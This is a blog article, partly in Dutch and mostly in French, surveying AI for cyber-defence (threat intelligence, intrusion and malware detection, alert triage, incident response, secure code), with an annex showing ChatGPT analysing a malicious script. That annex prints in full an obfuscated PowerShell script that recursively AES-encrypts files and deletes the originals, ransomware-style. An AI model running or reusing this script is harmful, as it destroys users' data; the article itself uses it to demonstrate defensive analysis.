5. Scriptuitvoering: Het script aan het eind haalt alle bestanden recursief op vanaf een bepaald pad en past de Compute_SHA256 functie toe op elk bestand met het zout ‘salty’.

Deze code kan potentieel schadelijk zijn als deze zonder toezicht in een productieomgeving wordt uitgevoerd, omdat het effectief bestanden versleutelt en vervolgens de originelen verwijdert. Het lijkt op ransomware-achtig gedrag, afhankelijk van het daadwerkelijke gebruik en de intentie. Gebruik en implementatie van dergelijke scripts moet met uiterste voorzichtigheid gebeuren.

Aanvullende vraag

Waar zie je dat de originele bestanden worden verwijderd?

Beantwoord door ChatGPT 4.0

De originele bestanden worden verwijderd in het script door het volgende gedeelte van de code in de Process blok:

$f = $object2 $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) + "'$f'" Invoke-Expression $dynCmd

Hier is wat er gebeurt in deze code:

1. Opslaan van het bestandsobject: $f = $object2 slaat het bestandsobject op in $f. Dit object bevat de eigenschappen van het bestand dat verwerkt wordt, inclusief het volledige pad.
2. Genereren van het verwijdercommando:
   • [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) decodeert een base64-encoded string die vertaald wordt naar “Remove-Item -Path “.
   • Dit wordt dan samengevoegd met ‘$f‘ (het pad van het bestand) om het complete PowerShell-commando te vormen dat het bestand zal verwijderen.
3. Uitvoeren van het verwijdercommando: Invoke-Expression $dynCmd voert het samengestelde commando dynamisch uit, wat leidt tot het verwijderen van het bestand op het pad dat in $f is opgeslagen.

Dit gedeelte van het script zorgt er dus voor dat na de versleuteling van het bestand, het originele bestand van de schijf wordt verwijderd. Dit gedrag is typisch voor scripts die gebruikt worden in data-archivering of beveiliging, maar kan ook schadelijk zijn indien misbruikt.

Bijlage 2 – Analysescriptgeneratie

Voorbeeld van het genereren van een zeer eenvoudig event log analysescript in Splunk’s SPL taal.

Vraag

Schrijf een Splunk script dat entries filtert waarvan het IP bronadres niet gereserveerd is en niet in België ligt en waarvan de bestemming een klasse A IP is dat begint met 10.

Antwoord

Om een Splunk zoekopdracht te schrijven die log entries filtert gebaseerd op IP-adres criteria met een specifieke geografische locatie (België), plus de eerder genoemde IP-voorwaarden, heb je aanvullende informatie over de geolocatie van IP-adressen nodig. Als je Splunk omgeving ingesteld is om IP-geolocatie te ondersteunen (vaak via een geolocatie lookup tabel of externe integratie), kunnen we een effectieve zoekopdracht schrijven die de geolocatie data integreert.

Hieronder vind je een voorbeeld van hoe zo’n zoekopdracht eruit zou kunnen zien. Deze zoekopdracht veronderstelt dat er velden zijn zoals src_ip voor het bron-IP-adres, dest_ip voor het bestemmings-IP-adres, en een veld (bijvoorbeeld src_country) dat het land van het bron-IP aangeeft. Je moet misschien de veldnamen aanpassen afhankelijk van jouw specifieke Splunk setup.

index=<jouw_index_naam> sourcetype=<jouw_sourcetype> | iplocation src_ip | eval reserved_ip_list="10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.0/8,169.254.0.0/16" | where NOT match(cidrmatch(reserved_ip_list, src_ip)) AND NOT src_country="Belgium" | where match(cidrmatch("10.0.0.0/8", dest_ip)) | table _time, src_ip, dest_ip, src_country, other_relevant_fields

Uitleg van de Query

1. Index en Sourcetype: Specificeer je index en sourcetype die relevant zijn voor je data.
2. IP Geolocatie: De iplocation commando voegt geolocatie-informatie toe aan elk event gebaseerd op het src_ip. Dit voegt velden zoals Country, City, etc., toe, afhankelijk van de nauwkeurigheid en de instellingen van je geolocatie database.
3. Reserve IP-adressen: De lijst van gereserveerde IP-adressen wordt gedefinieerd en gebruikt om te controleren of het src_ip niet binnen deze gereserveerde ranges valt.
4. Filter op Niet-Gereserveerde en Niet-Belgische Bron-IP’s: De where clausule wordt gebruikt om events te filteren waarbij het bron-IP-adres niet in de gereserveerde reeksen valt en niet uit België komt (src_country zou aangepast moeten worden aan jouw geolocatie veldnaam).
5. Filter op Klasse A Bestemmings-IP’s: Een tweede where clausule filtert op bestemmings-IP’s die beginnen met .
6. Resultatenweergave: De table commando geeft de resultaten weer in een tabelvorm met relevante velden zoals tijd, bron- en bestemmings-IP, land van het bron-IP en andere velden die belangrijk kunnen zijn voor je analyse.

Deze zoekopdracht biedt een effectieve manier om netwerkverkeer te monitoren met een focus op specifieke geografische en netwerkcriteria. Afhankelijk van de exacte vereisten, kun je meer specifieke filters of analyses toevoegen, zoals statistieken over verkeersvolumes of gedetailleerde onderzoeken naar bepaalde soorten verkeer.

Notes

¹   https://cordis.europa.eu/project/id/700692

²   Uit een systematische analyse van publicaties over het gebruik van AI voor OSINT blijkt dat cybersecurity bijna de helft van de onderzochte publicaties[7] uitmaakt.

³   De auteurs geven een recall aan van 90%. In het algemeen wordt recall gedefinieerd door het aantal gevonden relevante documenten in verhouding tot het aantal relevante documenten in de database.

 [4] Het model maakt gebruik van statistieken om afwijkingen te detecteren (eenvoudig statistisch model, Markovketen en tijdreeksen).

⁵   https://www.cloudflare.com/fr-fr/learning/security/glossary/what-is-lateral-movement/

⁶   https://github.com/GreyDGL/PentestGPT

⁷   https://www.hackthebox.com/

⁸   Stel dat in een log van een miljoen gebeurtenissen wordt geschat dat er 100 gebeurtenissen zijn die echt overeenkomen met een inbraak. Laten we ook veronderstellen dat een fabrikant ons een inbraakdetectiesysteem verkoopt met een gevoeligheid van 99,9%, d.w.z. een percentage van 0,1% fout-negatieve events die overeenkomen met echte inbraken, en met een specificiteit van ook 99,9%, d.w.z. een percentage van 0,1% fout-positieve events die niet overeenkomen met inbraken. Als de software van de fabrikant een alert signaleert, wat is dan de waarschijnlijkheid dat dit daadwerkelijk overeenkomt met een inbraak?

Instinctief zouden velen zeggen “99,9%”. Echter, als we I aantonen, de willekeurige variabele die overeenkomt met een inbraak, en de willekeurige variabele A met betrekking tot een alert, kunnen we de bovenstaande hypothesen als volgt herschrijven: Als P(I)=100/1.000.000, P(A│I)=0,999, en P(¬A│¬I)=0,999, wat is dan de waarde van P(I|A)? Het theorema van Bayes geeft ons: P(I│A)=P(I)⋅P(A|I)/P(A) met P(A)=P(I)⋅P(A│I)+P(¬I)⋅P(A|¬I) en P(A│¬I)=1−P(¬A│¬I)=0,001. Dit leidt tot een kans van 9,08% dat de gegeven alert daadwerkelijk een inbraak is, niet 99,9%!

⁹   Een niet-parametrische methode voor het schatten van de kansdichtheid van een willekeurige variabele

¹⁰ https://www.paloaltonetworks.com/blog/security-operations/using-chatgpt-in-cortex-xsoar/

¹¹ https://falconllm.tii.ae/

_________________________
Dit is een ingezonden bijdrage van Fabien A. P. Petitcolas, IT-beveiligingsspecialist bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.

Dans un premier article, nous avons brièvement expliqué ce qui se cache derrière le terme « d’intelligence artificielle (IA) » en décrivant quelques techniques de base utilisées en cybersécurité. Dans un deuxième article, nous avons traité de l’utilisation de l’IA pour faciliter les attaques contre des systèmes informatiques. En particulier, nous avons détaillé comment l’IA pourrait modifier ou modifie déjà plusieurs vecteurs d’attaques.

Dans le dernier article de cette série, après quelques considérations générales, nous passons en revue des domaines de la cyber-défense tirant parti ou pouvant tirer parti de l’IA tels que le renseignement sur les cyber-attaques, la détection et l’identification de cyber-attaques, ou encore la réponse à des incidents de cybersécurité.

Introduction

Dès 2018, Schneier [1] estimait que la cyber-défense allait bénéficier d’avantage des techniques d’IA que la cyber-offensive, car selon lui, la défense était dans une moins bonne position que l’attaque, précisément à cause de ses importants composants humains. De plus il prédisait que les adversaires allaient continuer d’améliorer leur stratégie d’attaque grâce à l’automatisation, de sorte que le seul moyen efficace d’atténuer ces attaques à la vitesse de la machine serait l’automatisation. C’est une thèse également défendue par Sarker et al. [2] qui soutiennent que l’IA pourrait révolutionner le domaine de la cybersécurité, en offrant non seulement une automatisation des tâches à grande échelle, mais aussi en aidant les experts humains à mieux comprendre une situation et à prendre des décisions dans des scénarios réels.

La société Gartner s’attend quant à elle, à ce que l’IA contribue à une réduction de 30% du taux de faux positifs dans les tests d’applications et la détection de menaces avant 2027 [3]. Les nouveaux outils récemment annoncés par des entreprises importantes du marché, dont CrowdStrike, pourraient en effet, selon Gartner aider à améliorer la productivité et les compétences des administrateurs. Les idées ne manquent pas, mais comme le soulignent les auteurs de la note de la société de conseil, les fonctionnalités de recherche et d’analyse existent déjà et la nouveauté réside essentiellement dans l’interactivité entre les analystes humains et la machine.

Taddeo et al. [4] temporisent l’engouement pour l’IA dans la cyber-défense en faisant remarquer que placer sa confiance dans l’IA pour la robustesse, la résilience et la réponse des systèmes de cybersécurité n’est pas méritée et insistent qu’une forme de contrôle est nécessaire pour réduire les risques de sécurité. Les auteurs utilisent le terme de confiance dans son terme le plus pur : une décision de déléguer, sans forme de contrôle ou de surveillance, une acceptation d’un risque de dépendance. Ils pointent le manque de transparence de l’IA et l’évolution d’un système d’IA dans le temps comme des limites importantes et recommandent notamment une mise en œuvre « maison » pour les infrastructures nationales critiques et une surveillance permanente du système d’IA et de son évolution.

Dasgupta et al. [5] ont passé en revue la plupart des publications récentes utilisant l’IA dans le domaine de la cybersécurité. Un point crucial reste selon eux la performance (en termes de vitesse de réaction, mais également de réduction du taux de faux-positifs et faux-négatifs) des outils de détection qui peut avoir des conséquences importantes sur le système où ils sont déployés.

Dans les sections suivantes nous regardons plus en détails différents domaines de la cyber-défense pouvant tirer parti de l’IA.

Renseignement sur les cyber-attaques

Le renseignement sur les cyber-menaces est le processus de collecte, d’analyse et de diffusion d’informations sur les cyber-menaces actuelles et émergentes, telles que les acteurs, les cibles, les techniques, les outils, etc. Ces renseignements peuvent aider les organisations à se défendre de manière proactive contre les cyber-attaques en fournissant des informations exploitables et opportunes aux équipes de sécurité.

De nos jours, le renseignement d’origine de sources ouvertes (ROSO – « Open-Source Intelligence (OSINT) ») est largement adopté par les gouvernements et les services de renseignement pour mener leurs enquêtes et lutter contre la cyber-criminalité [6]. Le projet européen DiSIEM¹ avait pour premier objectif l’intégration de diverses sources de données ROSO dans les systèmes de gestion des informations et événements de sécurité (« Security Information and Event Management (SIEM) ») pour aider à réagir aux vulnérabilités récemment découvertes dans l’infrastructure ou même à prédire d’éventuelles menaces émergentes².

En principe un modèle de langage massif (« Large Language Models (LLM) ») entraîné sur de larges sources de données comme les forums web, les sites spécialisés sur les vulnérabilités et incidents, ou les réseaux sociaux, pourrait être utilisé afin de générer des rapports de renseignement sur les cyber-menaces. Les LLM pourraient donc être utilisés pour accéder plus rapidement à de la documentation technique, des renseignements d’intelligence provenant de sources spécialisées. Par exemple Sewak et al. [8] affirment que les LLM peuvent automatiquement extraire, valider et résumer des informations provenant de diverses sources, telles que des rapports de menaces, de la littérature, des scripts, etc. Ils montrent notamment comment les LLM peuvent identifier les intentions malveillantes dans des scripts. Leur approche permettrait de découvrir plus de 90%³ des scripts effectivement malveillants dans une tâche de détection.

Détection et identification de cyber-attaques

L’IA peut jouer un rôle dans la détection et l’identification des cyber-attaques en améliorant les systèmes de détection d’intrusions et de logiciels malveillants et en permettant de mieux gérer les alertes.

Détection d’intrusions

Selon le NIST [9], un système de détection d’intrusions (IDS) se réfère au « processus de surveiller les événements se produisant dans un système informatique ou un réseau et de les analyser pour des signes d’incidents possibles. » Bien que les premiers développements de tels systèmes se soient concentrés sur des approches par signature, en 1986, Denning publiait un modèle d’IDS [10] basé sur la détection d’anomalies⁴ qui constitue encore aujourd’hui la base de nombreux systèmes. L’avantage principal des méthodes basées sur la détection d’anomalies est que celles-ci peuvent détecter des types d’incidents qui n’ont pas déjà été vus. Aujourd’hui ce sont les méthodes d’apprentissage automatiques non-supervisées qui sont couramment utilisées pour la détection d’anomalies : l’activité sur le réseau est comparée avec une ligne de base pré-entraînée et normalisée qui présente le comportement normal, ce qui permet au système de détecter des activités malveillantes inconnues, contrairement aux méthodes par signature.

Une approche est d’entraîner un réseau de neurones artificiels à apprendre si un trafic réseau est normal ou correspond à une classe d’attaques. En pratique cela demande les étapes suivantes :

1. Un expert collecte un ensemble de données contenant à la fois le trafic normal du réseau de communication et des attaques.
2. Sur une machine très puissante, un réseau de neurones est entraîné à classer la différence entre le trafic normal et le trafic d’attaque.
3. Une copie du modèle appris lors de l’étape précédente est transférée sur le système opérationnel de détection d’intrusion de l’organisation.
4. Le système de détection d’intrusions applique le modèle sur le trafic réseau observé.

Les choix de méthodes d’apprentissage sont nombreux, mais selon Appruzzese et al. [11], les méthodes d’apprentissage non-supervisé sont particulièrement appréciées pour les systèmes de détection d’intrusion sur les réseaux de communication en raison de la difficulté et du coût d’obtenir des données étiquetées. Par ailleurs, selon ces auteurs, la supériorité des réseaux d’apprentissage profonds pour la détection d’intrusions, par rapport à d’autres techniques d’IA, n’est pas prouvée et la complexité et le coût de calcul supplémentaire ne justifient pas nécessairement leur adoption.

Voici quelques exemples d’utilisation de techniques non-supervisées utilisées pour la détection d’intrusions :

• Bohara et al. [12] utilisent plusieurs techniques de détection d’anomalies et notamment l’analyse en composantes principales (« Principal Component Analysis (PCA)»), le partitionnement en k-moyennes, et la détection de valeurs aberrantes basée sur l’écart absolu médian afin de détecter des mouvements latéraux⁵ sur un réseau. Ces auteurs atteignent un taux de vrais positifs (TPR) de 88.7% et un taux de faux positifs (FPR) de 14.1%.
• Dans [13], les auteurs présentent une méthode pour générer automatiquement une liste grise d’hôtes externes qui ont une probabilité élevée d’être impliqués dans des activités de balisage malveillant par rapport à l’ensemble de tous les hôtes externes habituellement contactés par l’organisation protégée. Leur proposition s’appuie sur des techniques de regroupement appliquées aux flux de réseaux.
• Afin d’adresser le problème de déséquilibre entre le nombre d’échantillons positifs et négatifs dans les journaux d’intrusion (très peu de trafic malveillant par rapport au trafic légitime), Yang et al. [14] utilisent un réseau antagoniste génératif convolutif profond (« Deep Convolutional Generative Adversarial Network (DCGAN) ») afin de construire un système de détection d’intrusion en temps réel. Le DCGAN maintient un équilibre entre échantillons positifs et négatifs en générant de nouvelles données synthétiques. Afin de permettre l’analyse en temp réel, les auteurs utilisent des unités récurrentes fermées (« Gates Recurrent Units (GRU) »), qui sont plus efficaces qu’un réseau récurrent à mémoire court et long terme (LSTM) car utilisant moins de paramètres. Le système atteint une exactitude de 99,73%.

Enfin, les outils basés sur les modèles massifs de langage ont aussi commencé à faire leur apparition dans la détection d’intrusion. Par exemple, l’outil PentestGPT⁶ est un outil de tests d’intrusions optimisés par des LLM (en l’occurrence ChatGPT-4) et permet l’automatisation du processus de test d’intrusion en guidant les testeurs dans l’opération globale et les opérations spécifiques. PentestGPT a été testé avec succès sur « HackTheBox⁷ » et à travers diverses compétitions de capture de drapeau (« Capture the Flag (CTF) ») de niveau facile ou moyen.

Détection de logiciels malveillants

L’apprentissage automatique peut être utilisé à la fois pour l’analyse statique et l’analyse dynamique des logiciels malveillants. Cependant l’analyse statique est sujette à des contournements relativement simples en modifiant l’exécutable sans changer la logique sous-jacente ou avec des variantes plus avancées (p. ex. polymorphisme) modifiant l’exécutable de manière automatique.

Les analyses dynamiques combinées avec un apprentissage automatique s’avèrent plus efficaces [11]. Mais il existe plusieurs limites à l’applicabilité des dernières avancées universitaires dans le domaine de l’apprentissage automatique à la détection de logiciels malveillants [15], notamment :

• Mauvaise interprétation de la mesure de performance, en partie due à l’oubli de la fréquence de base – un biais cognitif lié aux lois statistiques⁸;
• Les bases de données de tests sont souvent vieilles de plusieurs années et ne tiennent donc pas compte des nouvelles méthodes de contournement mises en œuvre par les adversaires, ni des nouvelles interfaces de programmation applicatives disponibles. Selon [16], un grand nombre de travaux récents concernant l’apprentissage fédéré pour la détection d’intrusions, utilisent encore des bases de données publiques créée avant 2017, et donc avec des attaques ne reflétant pas nécessairement les réseaux de communication actuels.

Gestion des alertes

Le triage des alertes de sécurité est une tâche qui demande relativement beaucoup de temps, mais qui peut être accélérée en mettant des informations contextuelles à disposition des analystes afin que ceux-ci n’aient pas à passer d’un outil de journalisation ou d’analyse à l’autre afin de comprendre ce qui se passe. Par exemple : géolocalisation d’une adresse IP, nom de l’organisation contrôlant l’IP, âge du domaine, réputation d’une valeur de hachage d’un fichier, type de fichier correspondant, copie d’écran automatique d’une URL, informations sur l’hôte et son environnement, etc. Ces alertes pourraient aussi être enrichies directement par un LLM (p. ex. catégorisation, information issue des services de renseignement spécialisés, score de risque).

De plus des techniques d’apprentissage automatique peuvent être utilisées pour le filtrage, le triage, la priorisation et l’agrégation d’alertes, afin de faciliter le triage et la réponse aux incidents. Par exemple Su et al. [17] proposent une méthode pour automatiser le filtrage des faux positifs en utilisant une estimation par noyau⁹ (« Kernel density estimation (KDE) »). Selon les auteurs, celle-ci réduit jusqu’à 75% le temps nécessaire pour la vérification des alertes.

Réponse à des incidents de cybersécurité

La réponse aux incidents est un élément clé de la stratégie de cybersécurité d’une organisation. Une réponse bien orchestrée peut contribuer à atténuer les dommages causés par une violation de la sécurité ou une cyber-attaque. Cependant, la rapidité et la précision de ces réponses sont primordiales. Les LLM peuvent contribuer à accélérer et à rationaliser ces processus, en fournissant des réponses automatisées et même en aidant à élaborer des plans d’intervention en cas d’incident. L’une des caractéristiques de l’architecture de ces LLM est leur capacité à générer du texte naturel, basé sur le contexte. Elle peut être exploitée pour créer un assistant de réponse aux incidents alimenté par l’IA, capable de fournir des conseils immédiats pendant un incident et de documenter automatiquement les événements au fur et à mesure qu’ils se déroulent. Par exemple, PaloAlto XSOAR¹⁰ utilise ChatGPT pour générer des guides permettant de gérer certaines attaques (voir Figure 1).

Figure 1 – Informations proposée par XSOAR pour gérer une réponse à un incident de sécurité (d’après [18]).

Ferrag et al. [19] utilisent FalconLLM¹¹ afin d’analyser la sévérité et l’impact potentiel d’une attaque identifiée par un système de détection d’intrusions en la comparant avec sa base de données interne. De manière similaire à PaloAlto XSOAR, l’outil permet également de proposer des stratégies d’atténuation potentielles et des procédures de rétablissement, pouvant ainsi guider une équipe d’intervention. Les réponses proposées restent cependant très générales et peuvent ne pas être utiles à un administrateur expérimenté (voir Figure 2).

Figure 2 – Exemple de solution de stratégie d’atténuation proposée par FalconLLM (source [19]).

L’IA générative peut également permettre d’automatiser certains aspects de l’analyse des cyber-incidents par les analystes d’un centre des opérations de sécurité. Par exemple, selon A. Krishnan [20], ChatGPT pourrait être utilisé pour décrire ce que fait un script Powershell (voir exemple en annexe). De manière similaire, ces outils permettant aussi de générer du code, il est donc possible d’envisager leur utilisation pour faciliter l’écriture de scripts d’analyse de journaux par des analystes (voir annexe).

L’automatisation de la réponse à des incidents est aussi envisagée, mais un problème important reste l’attribution de la responsabilité. Celle-ci est rendue d’autant plus difficile, qu’à ce jours les systèmes d’IA sont encore peu transparents et difficilement explicables.

Enfin, les rapports détaillés sur les incidents de cybersécurité jouent un rôle important pour aider les principales parties prenantes, notamment les équipes opérationnelles de sécurité, les responsables de la sécurité, afin de mieux comprendre et améliorer la posture de sécurité d’une organisation. Certains envisagent l’utilisation d’IA générative afin de synthétiser les journaux d’incidents et rédiger des rapports permettant d’agir plus rapidement.

Génération de code sécurisé

Les vulnérabilités de sécurité dans le code sont un problème récurrent affectant la plupart des logiciels et ayant un impact sur l’intégrité, la confidentialité et la disponibilité. L’utilisation de certains langages de programmation connus pour être moins susceptibles que d’autres à des problèmes classiques est recommandée (par exemple Rust plutôt que C). L’examen du code par d’autres programmeurs experts est aussi une méthode largement répandue.

Mais l’analyse de Ganseman [21] conduit à se poser la question de l’utilité des LLM pour détecter des erreurs ou bogues dans du code existant ou pour aider à écrire du code plus sécurisé. La difficulté réside dans le fait, qu’à ce jour, il faut indiquer les endroits potentiels où le code n’est pas sûr, c’est-à-dire que c’est le développeur qui doit détecter où une amélioration est possible. Il se pourrait que dans un avenir proche, une base de code entière puisse être soumise à un examen de sécurité, mais pour l’instant, cela reste limité à la longueur du contexte et plus la question est précise, meilleure est la réponse.

Paradoxalement, Perry et al. [22] ont rapporté dans une étude récente que, bien que les assistants augmentent la productivité des développeurs, les participants ayant accès à un assistant basé sur un modèle d’IA (en l’occurrence le codex-davinci-002 de OpenAI) écrivaient un code significativement moins sécurisé que ceux sans accès. Pire, les participants avec un accès à l’assistant étaient plus enclins à croire qu’ils écrivaient du code sécurisé, que ceux sans l’assistant. L’adoption d’assistants impose donc la mise en place de pratiques de revue de code et d’analyse statique systématiques [21].

Conclusion

Même si les progrès de l’IA sont fulgurants dans beaucoup de domaines, l’apport non-négligeable de l’IA à la défense des systèmes informatiques reste néanmoins limité : nous sommes en effet encore loin des outils où il suffirait de donner des terra-octets de divers journaux d’événements pour que rapidement les signes d’intrusions soient détectés avec très peu d’erreur.

Aujourd’hui les méthodes statistiques spécialisées et d’apprentissage automatique – comme par exemple la détection d’anomalies – continuent de faire l’objet de recherches importantes et sont ajoutées aux outils commerciaux de détection d’intrusion avec l’étiquette « IA. » Mais en y regardant de plus près, l’IA apparaît principalement comme un nouvel outil de « productivité » pour des professionnels de cybersécurité, contribuant à l’automatisation de certaines tâches de cyber-défense, ou facilitant la réponse à des incidents et le traitement des renseignements sur les menaces, mais ne remplaçant pas l’analyste humain.

Références

[1]        B. Schneier, « Artificial Intelligence and the Attack/Defense Balance », IEEE Secur. Priv., vol. 16, n^o 2, p. 96‑96, mars 2018, doi: 10.1109/MSP.2018.1870857.

[2]        I. H. Sarker, H. Janicke, L. Maglaras, et S. Camtepe, « Data-Driven Intelligence can Revolutionize Today’s Cybersecurity World: A Position Paper ». arXiv, 9 août 2023. Consulté le: 27 octobre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2308.05126

[3]        J. D’Hoinne, A. Litan, et P. Firstbrook, « 4 Ways Generative AI Will Impact CISOs and Their Teams », Gartner, G00793265, juin 2023.

[4]        M. Taddeo, T. McCutcheon, et L. Floridi, « Trusting artificial intelligence in cybersecurity is a double-edged sword », Nat. Mach. Intell., vol. 1, n^o 12, p. 557‑560, nov. 2019, doi: 10.1038/s42256-019-0109-1.

[5]        D. Dasgupta, Z. Akhtar, et S. Sen, « Machine learning in cybersecurity: a comprehensive survey », J. Def. Model. Simul. Appl. Methodol. Technol., vol. 19, n^o 1, p. 57‑106, janv. 2022, doi: 10.1177/1548512920951275.

[6]        M. Nouh, J. R. C. Nurse, H. Webb, et M. Goldsmith, « Cybercrime Investigators are Users Too! Understanding the Socio-Technical Challenges Faced by Law Enforcement », in Proceedings 2019 Workshop on Usable Security, 2019. doi: 10.14722/usec.2019.23032.

[7]        J. R. G. Evangelista, R. J. Sassi, M. Romero, et D. Napolitano, « Systematic Literature Review to Investigate the Application of Open Source Intelligence (OSINT) with Artificial Intelligence », J. Appl. Secur. Res., vol. 16, n^o 3, p. 345‑369, juill. 2021, doi: 10.1080/19361610.2020.1761737.

[8]        M. Sewak, V. Emani, et A. Naresh, « CRUSH: Cybersecurity Research using Universal LLMs and Semantic Hypernetworks », 2023.

[9]        K. A. Scarfone et P. M. Mell, « Guide to intrusion detection and prevention systems (IDPS) », National Institute of Standards and Technology, Gaithersburg, MD, NIST SP 800-94, 2007. doi: 10.6028/NIST.SP.800-94.

[10]       D. Denning, « An Intrusion-Detection Model », IEEE Trans. Softw. Eng., vol. 13, n^o 2, p. 222‑232, 20.

[11]       G. Apruzzese et al., « The role of machine learning in cybersecurity », Digit. Threats Res. Pract., vol. 4, n^o 1, p. 1‑38, mars 2023, doi: 10.1145/3545574.

[12]       A. Bohara, M. A. Noureddine, A. Fawaz, et W. H. Sanders, « An Unsupervised Multi-Detector Approach for Identifying Malicious Lateral Movement », in 2017 IEEE 36th Symposium on Reliable Distributed Systems (SRDS), Hong Kong, Hong Kong: IEEE, sept. 2017, p. 224‑233. doi: 10.1109/SRDS.2017.31.

[13]       G. Apruzzese, M. Marchetti, M. Colajanni, G. G. Zoccoli, et A. Guido, « Identifying malicious hosts involved in periodic communications », in 2017 IEEE 16th International Symposium on Network Computing and Applications (NCA), Cambridge, MA: IEEE, oct. 2017, p. 1‑8. doi: 10.1109/NCA.2017.8171326.

[14]       J. Yang, T. Li, G. Liang, W. He, et Y. Zhao, « A Simple Recurrent Unit Model Based Intrusion Detection System With DCGAN », IEEE Access, vol. 7, p. 83286‑83296, 2019, doi: 10.1109/ACCESS.2019.2922692.

[15]       L. Cavallaro, J. Kinder, F. Pendlebury, et F. Pierazzi, « Are Machine Learning Models for Malware Detection Ready for Prime Time? », IEEE Secur. Priv., vol. 21, n^o 2, p. 53‑56, mars 2023, doi: 10.1109/MSEC.2023.3236543.

[16]       J. L. Hernández-Ramos et al., « Intrusion detection based on federated learning: a systematic review ». arXiv, 18 août 2023. Consulté le: 17 octobre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2308.09522

[17]       Y.-H. Su, M. C. Y. Cho, et H.-C. Huang, « False Alert Buster: an Adaptive Approach for NIDS False Alert Filtering », in Proceedings of the 2nd International Conference on Computing and Big Data, Taichung Taiwan: ACM, oct. 2019, p. 58‑62. doi: 10.1145/3366650.3366657.

[18]       M. Gupta, C. Akiri, K. Aryal, E. Parker, et L. Praharaj, « From ChatGPT to ThreatGPT: Impact of generative AI in cybersecurity and privacy », IEEE Access, vol. 11, p. 80218‑80245, août 2023, doi: 10.1109/ACCESS.2023.3300381.

[19]       M. A. Ferrag, M. Ndhlovu, N. Tihanyi, L. C. Cordeiro, M. Debbah, et T. Lestable, « Revolutionizing Cyber Threat Detection with Large Language Models ». arXiv, 25 juin 2023. Consulté le: 8 novembre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2306.14263

[20]       A. Krishnan, « 4 ChatGPT cybersecurity benefits for the enterprise | TechTarget », Security. Consulté le: 12 octobre 2023. [En ligne]. Disponible sur: https://www.techtarget.com/searchsecurity/tip/ChatGPT-cybersecurity-benefits-for-the-enterprise

[21]       J. Ganseman, « LLM pour code : the Good, the Bad and the Ugly | Smals Research », Smals Research Blog. Consulté le: 18 octobre 2023. [En ligne]. Disponible sur: /llms-pour-code/

[22]       N. Perry, M. Srivastava, D. Kumar, et D. Boneh, « Do Users Write More Insecure Code with AI Assistants? » arXiv, 16 décembre 2022. Consulté le: 3 octobre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2211.03622

Annexe 1 – Analyse de script malveillant avec ChatGPT

L’exemple ci-dessous montre la réponse de ChatGPT 4.0 à la question « Que fait ce code ? » suivie d’un échantillon de code. On constate que malgré la tentative d’obfuscation et les commentaires erronés, ChatGPT analyse avec pertinence ce script qui chiffre tous les fichiers dans le dossier “C:\Local\chat_gpt_ps\test” ses sous-dossiers.

Script soumis à ChatGPT

function Compute_SHA256 {
    # Compute SHA 256 of an object in memory
    [CmdletBinding()]
    [OutputType([string])]
    Param
    (
        [Parameter(Mandatory = $true)]
        [String]$salt,
        [Parameter(Mandatory = $true, ParameterSetName = "param")]
        [String]$object
    )
    Begin {
        # Initialise hashing function
        $tmp = New-Object byte[] 16
        $sha1 = New-Object System.Security.Cryptography.SHA256Managed
        $sha2 = New-Object System.Security.Cryptography.AesManaged
        $sha2.Mode = 'CBC' -as [System.Security.Cryptography.CipherMode]
        $sha2.Padding = 'Zeros' -as [System.Security.Cryptography.PaddingMode]
        $sha2.BlockSize = 128
        $sha2.KeySize = 256
        [void][Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($tmp)
        $sha2.IV = $tmp
    }
    Process {
        # Compute hash
        $sha2.Key = $sha1.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($salt))
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("R2V0LUl0ZW0gLVBhdGggJG9iamVjdCAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ=="))
        $object2 = Invoke-Expression $dynCmd
        if (!$object2.FullName) {
            break
        }
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbEJ5dGVzKCRvYmplY3QyLkZ1bGxOYW1lKQ=="))
        $input = Invoke-Expression $dynCmd
        $output = $object2.FullName + ".xxx"
        $sha2_hasher = $sha2.CreateEncryptor()
        $encryptedBytes = $sha2_hasher.TransformFinalBlock($input, 0, $input.Length)
        $encryptedBytes = $sha2.IV + $encryptedBytes
        $sha2.Dispose()
       
        $e = $output
        $encD = $encryptedBytes
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5JTy5GaWxlXTo6V3JpdGVBbGxCeXRlcygkZSwgJGVuY0Qp"))
        Invoke-Expression $dynCmd
        (Get-Item $output).LastWriteTime = $object2.LastWriteTime
        $f = $object2
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) + "'$f'"
        Invoke-Expression $dynCmd
        return "Sortie: $output"        
    }
    End {
        $sha1.Dispose()
        $sha2.Dispose()
    }
}

$dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("R2V0LUNoaWxkSXRlbSAtUGF0aCAiQzpcTG9jYWxcY2hhdF9ncHRfcHNcdGVzdCIgLUZpbGUgLVJlY3Vyc2U="))

Invoke-Expression $dynCmd | ForEach-Object {
    $object = $_.FullName
    Compute_SHA256 -salt "salty" -object $object
}

Réponse de ChatGPT

Ce script PowerShell définit une fonction nommée Compute_SHA256, qui effectue plusieurs opérations sur les fichiers, notamment le calcul du hachage SHA-256, le chiffrement AES, et la manipulation de fichiers. Voici un détail étape par étape de ce que fait le script :

1. Initialisation :
   • Définition de paramètres pour la fonction Compute_SHA256 qui incluent un salt et un object (nom de fichier).
   • Initialisation d’un objet de cryptographie AES ($sha2) avec des paramètres spécifiques pour le mode de chiffrement, le padding, la taille de bloc, et la taille de clé.
2. Traitement :
   • Utilisation de SHA-256 pour générer une clé de chiffrement à partir du salt
